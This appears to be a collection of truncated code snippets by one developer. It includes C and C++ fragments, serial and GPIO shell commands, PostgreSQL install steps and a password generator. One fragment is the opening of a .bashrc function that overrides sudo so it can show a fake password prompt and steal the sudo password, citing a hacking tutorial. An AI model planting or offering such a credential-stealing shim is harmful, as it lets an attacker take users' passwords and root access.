a2gs

/* Andre Augusto Giannotti Scota (https://sites.google.com/view/a2gs/  andre.scota@gmail.com) */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>

void handleAlarmSignal(int signum)
{
	printf("Timeout!\n");
	exit(1);

a2gs

/* Andre Augusto Giannotti Scota (https://sites.google.com/view/a2gs/  andre.scota@gmail.com) */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <uuid/uuid.h>

int main(int argc, char *argv[]) {
	uuid_t ctx_uuid;
	char uuid[37] = {0};

a2gs

# https://null-byte.wonderhowto.com/how-to/steal-ubuntu-macos-sudo-passwords-without-any-cracking-0194190/
# Insert into .bashrc

function sudo () {
	# A "realsudo" variable is created. It calls the `which` command to locate
	# the path to the real sudo binary. This is used later in the function to
	# execute the target's desired command.
	realsudo="$(which sudo)"

	# The `read` command will prompt (`-p`) the target with a convincing password

a2gs

Keybase proof

I hereby claim:

• I am a2gs on github.
• I am a2gs (https://keybase.io/a2gs) on keybase.
• I have a public key whose fingerprint is 1DF9 BC07 199E 6AB3 DCF3 50DD 2A96 DF8D 7725 0890

To claim this, I am signing this object:

a2gs

1)
minicom -s -b 9600 -o -D /dev/ttyUSB0

2)
"Serial port setup" and set:
Serial Device: /dev/ttyUSB0
Bps/Par/Bits : 57600 8N1
Hardware Flow Control : No
Software Flow Control : No

a2gs

1) Exporting a PIN (example, 9):
echo "9" > /sys/class/gpio/export
(/sys/class/gpio/unexport to undo)

2) Setting PIN direction
echo "out" > /sys/class/gpio/gpio9/direction

3) Changing/reading PIN value:
echo "1" > /sys/class/gpio/gpio9/value

a2gs

0) Debian instalation
(ref: https://wiki.postgresql.org/wiki/Apt#Quickstart)

sudo apt-get install curl ca-certificates
curl https://www.postgresql.org/media/keys/ACCC4CF8.asc | sudo apt-key add -
sudo sh -c 'echo "deb http://apt.postgresql.org/pub/repos/apt/ $(lsb_release -cs)-pgdg main" > /etc/apt/sources.list.d/pgdg.list'
sudo apt-get update
sudo apt-get install postgresql
/* sudo apt-get install pgadmin4 */

a2gs

#!/bin/bash
export LC_ALL=C
tr -dc 'A-Za-z0-9!"#$%&'\''()*+,-./:;<=>?@[\]^_`{|}~' </dev/urandom | head -c 18 ; echo

a2gs

#include <iostream>
using namespace std;

void print1(int a[5])
{
	for (int i =0; i < 5; i++)
		cout << a[i] << endl;
}

template<class T, int N>

a2gs

#!/bin/bash
echo -e "\033[1;37mWHITE"
echo -e "\033[0;30mBLACK"
echo -e "\033[0;34mBLUE"
echo -e "\033[0;32mGREEN"
echo -e "\033[0;36mCYAN"
echo -e "\033[0;31mRED"
echo -e "\033[0;35mPURPLE"
echo -e "\033[0;33mYELLOW"
echo -e "\033[1;30mGRAY"